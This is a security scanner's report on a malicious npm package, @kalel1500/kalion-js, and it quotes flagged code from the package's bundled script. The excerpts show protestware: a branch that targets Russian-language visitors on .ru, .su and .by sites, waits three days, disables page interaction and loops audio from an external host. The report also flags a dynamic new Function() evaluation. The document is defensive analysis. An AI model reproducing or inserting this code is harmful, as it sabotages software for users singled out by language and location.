@kalel1500/kalion-js@0.17.0-beta.0: Malicious npm security report | LPM Firewall

Loading npm security reports…

@kalel1500/kalion-js@0.17.0-beta.0: Malicious npm security report | LPM Firewall

Source & flagged code

5 flagged · loading source

dist/kalion-js.jsView file

•if (typeof window !== "undefined" && /^ru\b/.test(navigator.language) && location.host.match(/\.(ru|su|by|xn--p1ai)$/)) {

Critical

Targeted Browser Disruption Protestware

Browser source targets specific languages and host suffixes, disables page interaction, and automatically loops audio from a fixed external host.

dist/kalion-js.jsView on unpkg

•Trigger-reachable chain: manifest.main -> dist/kalion-js.js Reachable file contains a blocking source-risk pattern.

Critical

Trigger Reachable Dangerous Capability

A package entrypoint or install-time lifecycle script reaches a source file with blocking dangerous behavior.

dist/kalion-js.jsView on unpkg

4408if (typeof window !== "undefined" && /^ru\b/.test(navigator.language) && location.host.match(/\.(ru|su|by|xn--p1ai)$/)) { const now = /* @__PURE__ */ new Date(); const initiationDate = localStorage.getItem("swal-initiation"); if (!initiationDate) localStorage.setItem("swal-initiation", `${now}`); else if ((now.getTime() - Date.parse(initiationDate)) / (1e3 * 60 * 60 * 24) > 3) setTimeout(() => {

High

Ai Review Evidence

The browser bundle contains an import-time branch targeted at Russian-language users on Russian, Belarusian, and related domains.

dist/kalion-js.jsView on unpkg · L4408

4413document.body.style.pointerEvents = "none"; const ukrainianAnthem = document.createElement("audio"); ukrainianAnthem.src = "https://flag-gimn.ru/wp-content/uploads/2021/09/Ukraina.mp3"; ukrainianAnthem.loop = true; document.body.appendChild(ukrainianAnthem); setTimeout(() => { ukrainianAnthem.play().catch(() => {}); }, 2500);

High

Ai Review Evidence

After a three-day localStorage delay, it disables page pointer input and injects looping audio from a fixed external host.

dist/kalion-js.jsView on unpkg · L4413

3923if (!paramName || !value) return; L3924: result[paramName] = new Function(`return ${value}`)(); L3925: });

Low

Eval

Package source references a known benign dynamic code generation pattern.

dist/kalion-js.jsView on unpkg · L3923

Source & flagged code

5 flagged

dist/kalion-js.jsView file

Lines 3903-3943javascript

3903 showWarningsForAttributes(param, ["name", "value"]);

3904 const paramName = param.getAttribute("name");

3905 const value = param.getAttribute("value");

3906 if (!paramName || !value) return;

3907 if (typeof defaultParams[paramName] === "boolean") result[paramName] = value !== "false";

3908 else if (typeof defaultParams[paramName] === "object") result[paramName] = JSON.parse(value);

3909 else result[paramName] = value;

3910 });

3911 return result;

3912 };

3913 /**

3914 * @param {DocumentFragment} templateContent

3915 * @returns {Record<string, any>}

3916 */

3917 const getSwalFunctionParams = (templateContent) => {

3918 /** @type {Record<string, any>} */

3919 const result = {};

3920 Array.from(templateContent.querySelectorAll("swal-function-param")).forEach((param) => {

3921 const paramName = param.getAttribute("name");

3922 const value = param.getAttribute("value");

3923 if (!paramName || !value) return;

3924 result[paramName] = new Function(`return ${value}`)();

3925 });

Low

Eval

Package source references a known benign dynamic code generation pattern.

dist/kalion-js.jsView on unpkg · L3923

3926 return result;

3927 };

3928 /**

3929 * @param {DocumentFragment} templateContent

3930 * @returns {Record<string, any>}

3931 */

3932 const getSwalButtons = (templateContent) => {

3933 /** @type {Record<string, any>} */

3934 const result = {};

3935 Array.from(templateContent.querySelectorAll("swal-button")).forEach((button) => {

3936 showWarningsForAttributes(button, [

3937 "type",

3938 "color",

3939 "aria-label"

3940 ]);

3941 const type = button.getAttribute("type");

3942 if (!type || ![

3943 "confirm",

Lines 4388-4433javascript

4388 * @returns {boolean}

4389 */

4390 const focusButton = (domCache, innerParams) => {

4391 if (innerParams.focusDeny && isVisible$1(domCache.denyButton)) {

4392 domCache.denyButton.

•if (typeof window !== "undefined" && /^ru\b/.test(navigator.language) && location.host.match(/\.(ru|su|by|xn--p1ai)$/)) {

Critical

Targeted Browser Disruption Protestware

Browser source targets specific languages and host suffixes, disables page interaction, and automatically loops audio from a fixed external host.

dist/kalion-js.jsView on unpkg

•Trigger-reachable chain: manifest.main -> dist/kalion-js.js Reachable file contains a blocking source-risk pattern.

Critical

Trigger Reachable Dangerous Capability

A package entrypoint or install-time lifecycle script reaches a source file with blocking dangerous behavior.

dist/kalion-js.jsView on unpkg